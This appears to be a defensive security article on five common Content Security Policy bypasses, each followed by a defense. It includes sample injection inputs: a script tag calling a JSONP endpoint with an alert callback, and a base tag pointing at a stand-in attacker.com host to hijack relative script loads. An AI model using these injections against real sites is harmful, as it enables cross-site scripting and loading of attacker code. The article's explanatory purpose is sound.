How CSPs get bypassed
A policy is only as strong as its weakest source. These are the five bypass patterns I see most often in real engagements.
1. JSONP endpoints on allowlisted CDNs
You allowlist https://ajax.googleapis.com for jQuery. Attacker injects an <script src> to https://ajax.googleapis.com/.../jsonp?callback=alert(1) — a JSONP endpoint on the same allowlisted host that returns attacker-controlled JavaScript. The CDN's origin is in your allowlist, so CSP is happy. XSS lands.
Defense: avoid CDNs that host JSONP-like endpoints. Move to 'strict-dynamic' + nonce so the allowlist becomes irrelevant.
2. base-uri + dangling markup
You forget base-uri. An XSS that can inject a single tag (not a full <script>) injects <base href="https://attacker.com">. Now every relative URL on your page — script-src, link-href, image-src — loads from the attacker's domain. The attacker doesn't even need script execution; image and link loads happen automatically.
Defense: always set base-uri 'self' or base-uri 'none'. There's no reason not to.
3. 'unsafe-inline' "just for the legacy page"
One ten-year-old admin page can't be migrated, so the team adds 'unsafe-inline' "just for that route." A year later nobody remembers, and it's site-wide. The whole CSP is now theater.
Defense: if you must, use a route-specific CSP via middleware, not a global 'unsafe-inline'. Better: pay the migration cost; it's smaller than you think.
4. 'strict-dynamic' without a nonce or hash
A team copies 'strict-dynamic' from a blog post but forgets the accompanying nonce. 'strict-dynamic' alone disables the host allowlist without enforcing script integrity. Some browsers ignore this misconfiguration; others quietly accept it.
Defense: never use 'strict-dynamic' without 'nonce-X' or 'sha256-X' in the same directive.
5. No reporting → silent breakage
You ship a strict CSP. Three weeks later marketing pushes a new tag manager script that breaks. Nobody sees errors in the JS console because the page renders fine — only that one tracking pixel doesn't fire. By the time you find out, you have a month of missing analytics.
Defense: always set report-to. Even logging to your own server (one route handler that accepts the report and writes to logs) is a 10x improvement over silent breakage.
The pattern
All five of these have one thing in common: CSP rewards thinking about adversaries up front and punishes deferred decisions. The teams that ship clean policies are the teams that decided what they trusted before they started writing the header.